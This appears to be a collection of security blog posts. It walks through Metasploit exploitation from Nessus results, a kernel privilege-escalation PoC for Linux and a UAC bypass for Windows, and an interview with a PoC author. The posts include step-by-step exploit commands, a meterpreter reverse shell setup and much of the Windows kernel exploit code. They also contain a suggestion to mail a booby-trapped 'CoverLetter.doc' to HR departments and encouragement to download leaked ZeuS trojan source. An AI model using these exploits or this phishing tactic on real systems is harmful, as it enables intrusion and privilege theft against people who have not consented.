Exploit packs overview, Zeus code leaked

I recently came across a really interesting intro writeup on browser exploit packs. The research team installed and tested over 40 different packs and provided some really nice feedback, here is the link.

For anyone that is not familiar what an exploit packs is, here is a brief definition;  “A browser exploit is a form of malicious code that takes advantage of a flaw or vulnerability in an operating system or piece of software with the intent to alter a user’s browser settings without their knowledge. Malicious code may exploit ActiveX, HTML, images, Java, JavaScript, and other Web technologies and cause the browser to run arbitrary code.”

The infamous ZeuS or zbot Trojan has made a name for itself in this arena. Even though zbot does not directly exploit any system vulnerability however it is very successful when it comes to infecting its victim. Zeus, which until recently was being sold on the underground black market for anywhere from $5,000-$10,000 or even more; because of this it was hard for the average guy to get his hands on a copy to review the source code.

Well not until a few days ago that is, now if you do a search for Download the ZeuS Source Code”, you will come across several sites that are hosting a leaked copy of “Zeus”, and from the looks of things its a fully loaded copy. With that said grab your copy, turn on your VM’s and let the learning begin.








Now while reading about exploit pack I started wondering how I can get myself a copy without having to spend


From Nessus to Metasploit to game over

How many times have you fired off a Nessus scan and then after finding the goodies you have to go to either ExploitDB , or a similar site in search for a exploit. Or if you are a pro then its off to go and write your own exploit for the newly discovered vulnerability.

Today’s post will focus on what to do after you have scanned that vulnerable system and found a juice vulnerability. If this is the first time you have heard of ExploitDB or Metasploit you should first visit the Metasploit Unleashed training site.

Lab setup

  • Backtrack 4 Linux VM
  • Windows 2003 server with a  vulnerable web app

Below are the necessary steps to get from a Nessus scan to the correct Metasploit module for  exploiting your system.

Step one: Install Nessus

You can download your copy of nessus from HERE and don’t forget to register for a homefeed license. Now create your scan policy or used from one of the default policies. I selected the web application policy since the target server was running and outdated web application.  Once your scan is completed download the report and save it in a .nessus format.

Step two: Launching  Metasploit

Login to your machine of choice, in my case its my BackTrack4 Linux VM. Issue the following commands to load Metasploit:

  • cd /pentest/exploits/framework3 (change directory to your metasploit installation dir)
  • ./msfconsole
  • svn up (to get the latest update)

Step three: DB Magic

At this stage you will need to create a DB, import the scanned nessus report, and then perform your hacking kungfu with the db_autopwn command.

msf > db_create

msf > db_connect
[-] Note that sqlite is not supported due to numerous issues.
[-] It may work, but don’t count on it
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db

db_import /pentest/results/nessus_report_TestSrvr.nessus
msf > db_import /pentest/results/nessus_report_Appsrvr.nessus
[*] Importing ‘Nessus XML (v2)’ data
[*] Importing host
[*] Successfully imported /pentest/results/nessus_report_TestSrvr.nessus

db_autopwn -t -x

This command will search Metasploit for any exploits that matches your various vulnerability from the Nessus report, it will not automatically run the exploit for our unless you use the -e option. In most cases if you are testing this against a live system then you should leave out the -e option to avoid crashing your server.

msf > db_autopwn -t -x
[*] Analysis completed in 10 seconds (0 vulns / 0 refs)
[*] ================================================================================
[*]                             Matching Exploit Modules
[*] ================================================================================
[*]  exploit/windows/smb/psexec  (CVE-1999-0504, OSVDB-3106)
[*]  exploit/windows/http/apache_mod_rewrite_ldap  (CVE-2006-3747, BID-19204, OSVDB-27588)
[*] ================================================================================

From this point I have two exploits to choose from:

msf > use exploit/windows/http/apache_mod_rewrite_ldap
msf exploit(apache_mod_rewrite_ldap) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(apache_mod_rewrite_ldap) > set LHOST
msf exploit(apache_mod_rewrite_ldap) > set RHOST
msf exploit(apache_mod_rewrite_ldap) > exploit

From this point on its GAME OVER!



New Year, New MS Zero Day

With the new year usually brings hope for new changes however it seems to be the same old story with Microsoft. First advisory of the year and already you have to sit around waiting for MS to release a patch. Todays blog posting is based on the new Vulnerability in Graphics Rendering Engine . The guys over at www.metasploit.com has created a working exploit module for this that I was testing and it seem to be working as stated.

According to the note in the module, This module exploits a stack-based buffer overflow in the handling of thumbnails within .MIC files and various Office documents. When processing a thumbnail bitmap containing a negative ‘biClrUsed’ value, a stack-based buffer overflow occurs. This leads to arbitrary code execution.  In order to trigger the vulnerable code, the folder containing the document must be viewed using the “Thumbnails” view.

The vulnerability is exploited via malicious thumbnail images that may be attached to various documents (e.g. Microsoft Office documents). The most likely exploit vector would use e-mail attachments. However, it is also possible to use network shares.

There is currently no patch available. However, it is possible to modify the access control list on shimgvw.dll to prevent rendering of thumbnails (this would affect all thumbnails, not just malicious once). See the Microsoft advisory for details.

Affected Platforms:

All current versions of Windows, with the exception of Windows 7 and 2008 R2, are vulnerable.


There is currently no patch available. However, it is possible to modify the access control list on shimgvw.dll to prevent rendering of thumbnails (this would affect all thumbnails, not just malicious once). See the Microsoft advisory for details.

Test Lab Setup:

  • I used Vmware Workstation with two hosts (XP, and BT4)
  • I tested this against a Windows XP SP3 host
  • I used Metasploit v3.6.0-dev [core3.6 api:1.0]  with SVN revision 11471 on BackTrack 4 R2
  • Exploit module used can be found under modules/exploits/windows/fileformat/ms11_xxx_createsizeddibsection.rb

Steps Taken:

  • Launched msfconsole from within the /pentest/exploits/framework3 directory on my BT4 R2 host, once that was up I then issued the svn up command to ensure I had the latest and greatest.
  • Selected my exploit  –>  msf > use exploit/windows/fileformat/ms11_xxx_createsizeddibsection
  • Set filename and Output path –>

msf exploit(ms11_xxx_createsizeddibsection) > set FILENAME CoverLetter.doc

FILENAME => CoverLetter.doc

msf exploit(ms11_xxx_createsizeddibsection) > set OUTPUTPATH opt/metasploit3/msf3/data/exploits

OUTPUTPATH => /opt/metasploit3/msf3/data/exploits

Choosing your Payload: I decided to go with the meterpreter

msf exploit(ms11_xxx_createsizeddibsection) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

Setting up your local host (host you want victim to reverse connect too):

msf exploit(ms11_xxx_createsizeddibsection) > set LHOST


msf exploit(ms11_xxx_createsizeddibsection) > set LPORT 4545

LPORT => 4545

Next issue the command  exploit to create your malicious file:

msf exploit(ms11_xxx_createsizeddibsection) > exploit

[*] Creating ‘CoverLetter.doc’ file …

[*] Generated output file /opt/metasploit3/msf3/data/exploits/CoverLetter.doc

Next we need to setup our reverse handler to listen on port 4545 for any incoming connections once our victim views/open our specially crafter file.  We can take this resume file and blast it out to HR departments across the net and just sit back and wait for them to  connect back home :).

msf exploit(ms11_xxx_createsizeddibsection) > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST


msf exploit(handler) > set LPORT 4545

LPORT => 4545

msf exploit(handler) > exploit

Now once our victim views the file in a thumbnail view, or opens it  you should see something like this:

[*] Started reverse handler on

[*] Starting the payload handler…

[*] Sending stage (749056 bytes) to

[*] Meterpreter session 1 opened ( -> at Tue Jan 04 20:39:40 -0500 2011

From here you can jump into a shell on the system by issuing the “shell” command, or setup a Persistence Meterpreter backdoor as shown by Carlos, or start Capturing Windows Logons with Smartlocker basically sky’s the limit……Have fun hacking something.

Refernce links:




Linux Kernel Exploit PoC Testing

About an hour or so ago I notice a posting on the Full Disclosure mailing list with a proof of concept code (PoC) that will allow a non-privileged user to gain Root access on a Linux system , below is a snippet from the comment section of the code that explains it.


* Linux Kernel <= 2.6.37 local privilege escalation
* by Dan Rosenberg
* @djrbliss on twitter
* Usage:
* gcc full-nelson.c -o full-nelson
* ./full-nelson
* This exploit leverages three vulnerabilities to get root, all of which were
* discovered by Nelson Elhage:
* CVE-2010-4258
* ————-
* This is the interesting one, and the reason I wrote this exploit.  If a
* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
* word will be written to a user-specified pointer when that thread exits.
* This write is done using put_user(), which ensures the provided destination
* resides in valid userspace by invoking access_ok().  However, Nelson
* discovered that when the kernel performs an address limit override via
* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
* etc.), this override is not reverted before calling put_user() in the exit
* path, allowing a user to write a NULL word to an arbitrary kernel address.
* Note that this issue requires an additional vulnerability to trigger.
* CVE-2010-3849
* ————-
* This is a NULL pointer dereference in the Econet protocol.  By itself, it’s
* fairly benign as a local denial-of-service.  It’s a perfect candidate to
* trigger the above issue, since it’s reachable via sock_no_sendpage(), which
* subsequently calls sendmsg under KERNEL_DS.
* CVE-2010-3850
* ————-
* I wouldn’t be able to reach the NULL pointer dereference and trigger the
* OOPS if users weren’t able to assign Econet addresses to arbitrary
* interfaces due to a missing capabilities check.
* In the interest of public safety, this exploit was specifically designed to
* be limited:
*  * The particular symbols I resolve are not exported on Slackware or Debian
*  * Red Hat does not support Econet by default
*  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
*    Debian
* However, the important issue, CVE-2010-4258, affects everyone, and it would
* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
* more sophisticated version of this that doesn’t have the roadblocks I put in
* to prevent abuse by script kiddies.
* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
* NOTE: the exploit process will deadlock and stay in a zombie state after you
* exit your root shell because the Econet thread OOPSes while holding the
* Econet mutex.  It wouldn’t be too hard to fix this up, but I didn’t bother.
* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla

Naturally I would feel incline to turn up a Linux VM to test this exploit, I decided to go with a fully patched Ubuntu 10.10 with kernel version 2.6.35-23-generic to start my testing however the exploit fail on this system. I then decided to go with a default install of Unbuntu 10.10 with Kernel version 2.6.35-22-generic and to my amazement it worked.

Steps taken:

Ensure that I have gcc isntalled since the exploit was written in C.

infolookup@ubuntu:/tmp/exploitpoc$ touch full-nelson.c

Once the file is created simply copy the PoC from http://pastebin.com/qKZp2Qic or from the original post
and paste it into your newly created file.

infolookup@ubuntu:/tmp/exploitpoc$ nano full-nelson.c

Next just execute it….

infolookup@ubuntu:/tmp/exploitpoc$ gcc full-nelson.c -o full-nelson

infolookup@ubuntu:/tmp/exploitpoc$ ./full-nelson.c

And as you can see from the image above “Got Root”!

Windows 0day Exploit Bypass UAC/Priv esculation POC testing

Updated with Q&A section at the bottom.

As referenced in my last post, a public release  proof of concept (POC) for bypassing the  User Access Control (UAC) feature on Windows Vista and 7 operating systems is in the wild. The vulnerability is a buffer overflow in kernel (win32k.sys). The vulnerability exist in a function that queries the registry so in order to exploit this the attacker has to be able to create a special (malicious) registry key.

The author’s PoC managed to find such a key that can be created by a normal user on Windows Vista and 7 (so, a user that does not even have any administrative privileges). The PoC code creates such a registry key and calls another library which tries to read the key and during that process it ends up calling the vulnerable code in win32k.sys.

According to the author of the POC code ,” I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCUEUDC[Language]SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.”

POC Test:

Version Windows 7 Professional


  1. I first created a standard none privileged user, and from the command prompt typed “whoami” to identify my user, I then typed “net users” to few all available users on the system. Lastly I tried to create a new user with “NET USER testhack P@$$w0rd /add” and received access denied as expected.
  2. Next download the POC code, and extract it to a folder of your choice, then from the command prompt change directory to that folder and execute the “poc.exe” file. From here on you will have escalated privileges of the “nt/system user”.

At this point it’s GAME OVER!!

Updated with a few questions I emailed the author of the POC exploit

Me: How did you get your start in information security?

POC Author: By the randomness of the universe, I started one day when I discovered debugging

Me: How long have you been doing exploit development?

POC Author: I’ve been doing reverse engineering since 2004 but not exclusively in exploit development.

Me: How did you discovered this flaw?

POC Author: By chance when I read WDK or windows driver kit code samples

Me: What steps did you take to notify the vendor about this issue? What time line did Microsoft give for a patch to this issue?

POC Author: This flaw was reported with enough detail and the same PoC released on the internet to Microsoft Security Response Center  MSRC. They didn’t give a time line. Actually the guy who was issued to work on this never contacted me!

Me: Since this disclosure were you contacted by Microsoft or anyone else who were upset about your decision to disclose this flaw?

POC Author: No, despite the fact that my initial CodeProject article were brought down, probably due to the pressure from MS.

Me: Realistically how long do you think it will take before this flaw is patched?

POC Author: First of all I wouldn’t pick a day before Thanksgiving to publish this if I’m not mad enough that this flaw remains unpatched almost a year since Microsoft’s first acknowledge. Due to the nature that the flaw is from the design of an API, and it has been widely used by third party drivers, probably this won’t be entirely fixed until Windows 8. But meanwhile, MS could have taken measures to block such exploits, such as restricting the API not to query certain types of value to avoid ambiguity.

Me: Were you giving a reason by codeprojects for pulling your posting?

POC Author: Yes, they give me the responsible disclosure thing.

Additional comments by author:

If I have to keep my mouth shut until MS release a patch for such exploit, then probably everyone will be threatened more than now, because from what I know, there had been malware which use this exploit since August, not none said by some security companies. Those exploit a registry key ActiveTimeBias which works perfectly on all versions of Windows, to bypass proactive defense and execute malicious code.

I must say thank you for answering my questions and I support your decision for releasing this PoC and details about the flaw, if MS was given a full year to take care of this and they didn’t even respond to you why should you keep quiet!




Bypassing UAC with User Privilege under Windows Vista/7 **Mirrored**

Now the reason for this post is just to mirror what I think should be public knowledge and not be kept hidden since it was initially release yesterday. Today when I revisited the original site to download the POC and do some testing in my lab I  noticed it was removed. After looking around online a bit I found a few sites there were mirroring the information and I decided to do the same.

Bypassing UAC with User Privilege under Windows Vista/7

A Design Flaw in Windows Kernel API Leads to Security Breakdown

Download POC code & copy of original posting–> http://www.megaupload.com/?d=D9M0CLDV


I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.

The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.

Using the code

In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCUEUDC[Language]SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.

Pastebin code –> http://pastebin.com/s6h2VTSc

Stack trace shows the calling process is as follows:

GDI32.EnableEUDC ->
NtGdiEnableEudc ->
GreEnableEUDC ->
sub_BF81B3B4 ->
sub_BF81BA0B ->
RtlQueryRegistryValues (Overflow occurs)

Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate “cmd.exe” process privilege regardless of UAC.

Pastebin code –> http://pastebin.com/A8hTgCb1

The shellcode need some kernel APIs, we need to get their addresses from the running kernel.

/* code snip

// Get the running kernel file name
HMODULE hDll = GetModuleHandle(L”ntdll.dll”);
pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,”ZwQuerySystemInformation”);
ULONG AllocSize = 0;
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);

pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);

//Relocation to the running kernel base
DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base – (DWORD)hKernel;


// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
// so we need a valid pool address to avoid BSOD.

if(vi.dwBuildNumber < 7600)
FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);

HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L”Local\PoC”);
fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
*(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) – 0x18;
FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);

// Now fills the API addresses needed
FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, “ExAllocatePoolWithTag”) + Delta);
FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, “RtlInitAnsiString”) + Delta);
FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, “RtlAnsiStringToUnicodeString”) + Delta);
FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, “MmGetSystemRoutineAddress”) + Delta);
FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, “RtlFreeUnicodeString”) + Delta);
FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, “memcpy”) + Delta);
FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, “memset”) + Delta);
FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, “KeDelayExecutionThread”) + Delta);

// Here we tell the shellcode(PE loader) where the driver buffer is.
FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);

/end snip

Pastebin code –>http://pastebin.com/PHVmuBmx

Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.

UINT codepage = GetACP();
TCHAR tmpstr[256];
_stprintf_s(tmpstr, TEXT("EUDC\%d"), codepage);        // Get current code page
HKEY hKey;
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));

RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);

RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));

After running this PoC, just type “whoami” in command prompt to see the escalated user credentials.

Points of Interest

All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.

Additional Information

This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
Windows Vista/2008 6.1.6000 x32,
Windows Vista/2008 6.1.6001 x32,
Windows 7 6.2.7600 x32,
Windows 7/2008 R2 6.2.7600 x64.
Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.


Me: nooby@safengine.com


Initial release: 2010.11.24


This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

About the Author


Nessus and Metasploit living in harmony

I had this post queuing up for a while now but kept holding back waiting on the new version of Metasploit 3.5.0-dev, in addition each time I visited the Metasploit IRC room I would see Zate talking about some cool feature he is working on implementing.

Now on to the reason for this post, being a fan of both Metasploit and Nessus I was very happy when I saw a tweet a month or so back making mention of a project that would bring both of these wonderful tools together in a nice easy to use fashion. That project was labeled ” Nessus Bridge for Metasploit”. The basic goal behind this project was to  allow you to do various tasks with your Nessus server, from within the msf command line.  By that I mean scan with Nessus, review the results, import the results and then exploit the results.” After reading those few lines form the project home page I was already sold.

What can you do with this plug-in or bridge you might ask?

The commands are broken up into the following categories below and are covered in details over at the http://blog.zate.org .

A few prerequisites are needed before you can start hacking away:

  • A host with Metasploit installed and configured (I recommend BackTrack 4)
  • A host with a Nessus server installed and updated (I recommend you install on your BT4 host)
  • A vulnerable host to test with (I recommend you download metasploitable)

Brief  demo section before I get into the interview:

MSF Console

Nessus Login Interface

  1. First fire-up  both Metasploit and Nessus and run an update to ensure you have the latest signatures.
  2. Login into Nessus and create your scanning policy
  3. Close out your browser and prepare to have some fun CLI style!
    1. Load up the nessus module within msfconle with “load nessus”
    2. Next connect to your nessus server with “nessus_connect username:password@host:port ok”
    3. From this point on you can view all polices, perform a scan, import the rules and then use db_autopwn to seal the deal.
      Using nessus_policy_list and nessus_scan_new
    4. Import scan results with “nessus_report_get report id”


Now on to the Q & A  section with the Author:

Question: How did you get started on your Infosec journey, and also the blogging  sphere?

Answer: I started out as a Secure data communication guy for the Australian Army and then left to became a Lotus Notes/Web App guy, migrated over to a Solaris/Linux admin and then into Web App Sec and Threat/Vuln Management.  From there I became interested in pen testing, exploits and just generally how the attacker works/thinks.

Blogging is relatively new for me.  I am bad at it, and my blog came about really because I wanted to get some ideas down out of my head where others could see them.  I’ve not really done much in the way of blogging until the Nessus Plugin as I am bad about keeping up with it and finding things to talk about.  Always seemed to be something else
to do.  I think the plugin has given me something to start with and now I am queuing up posts for weeks ahead.

Q: What was your motivation behind this project?

A: Part of it was being envious of the cool integration that Nexpose has with Metasploit and most of it was being frustrated at having to move between interfaces to try and find things to exploit.  When I first started with Metasploit it was annoying to have these cool exploits to use but I struggled to find exploitable hosts.

I then did the offensivesecurity.com PwB v3 course and gained some knowledge on how to find things to exploit and then I did some playing around with importing nessus scans.  It was clunky and around the same time I was experimenting with putting a Drupal front end on Nessus. Part of that process was the discovery of a cool nessus-xmlrpc ruby library by k0st.

Everything kind of clicked together and I thought what if i could stick that library in Metasploit and talk directly to the my Nessus server and import the data right into Metasploit.  Some awkward talks about licenses later and HDM merged k0st’s library and my basic shell of a plugin.  (Big thanks to k0st for his hard work on the library which i used as a starting point)

Q: What advice would you give  a newcomer that would like start using this  bridge?

A: Test it out and send me (or Metasploit) bug reports/enhancement requests… hehe.  Full guide on using the plugin is up at http://blog.zate.org/2010/09/26/nessus-bridge-for-metasploit-intro/ . Don’t be shy, join #nessus or #metasploit on freenode and ask questions (I am in there as MrUrbanity or Zate).  Start with working with all the tools on one box (nessus, msf, database) and I find Ubuntu (native or vmware player) the best way to start.  Scan things (that you have permission to scan, or own) and play with it, see how it works.

Q: What tips would you give someone for maximizing the usefulness of this  bridge?

A: This plugin wont magically make your Nessus scans more accurate, you still have to tweak/tune them and honestly right now that is probably best done through the web interface for policy tuning.  Don’t expect to scan a class C and have it import easily, big reports are a pain right now (streaming parser coming soon).  Ideally the way to use this is scan, examine, import, pwn.  It’s not a replacement for knowing about exploits and vulnerabilities, you will still need to do some work :).

Q: Why did you choose Metasploit above other application/frameworks to incorporate this  functionality?

A: I don’t think there is another offensive exploitation tool out there with the same power and flexibility to allow it’s end users to join in the fun and submit modifications.  It’s one thing to do a RFE (Request for Enhancement) and another entirely to code that enhancement and submit it to be included in the tool.  I think the combination of free msf and a free (or cheap) nessus scanner is pretty powerful for a security guy trying hard to keep his network running securely.  Also ruby is just a joy to code in.

Q: On a personal note, how did you get your handle?

A: I tend to go by MrUrbanity a lot and Urbanity means polite/refined/quiet which depending on who you ask is either me, or not me.  I’m a pretty calm guy, takes quite a bit to offend or upset me so the name kind of fit.

Q: If someone wants to assist you with this project what’s the best approach?Couple of ways.  Email me (zate75 [at] gmail.com) or find me on IRC (freenode in #metasploit and #nessus) or head to http://github.com/Zate/Nessus-Bridge-for-Metasploitfork it, hack it and submit a pull request for me to include your changes.  I then submit a diff to msfdev about once a week (or when I have significant changes).

A: You can also help me out a great deal by grabbing the code off github and running it and then reporting any bugs or features back to github. Why github and not the metasploit site?  Mainly to not annoy the msfdevs.  This way I can tweak/hack/commit as often as I need to and not impact their work on msf.  I can then just submit working code
when I need it included in msf.

A big thank you to Zate a.k.a MrUrbanity for letting me interview and most importantly for making such a contribution to the community.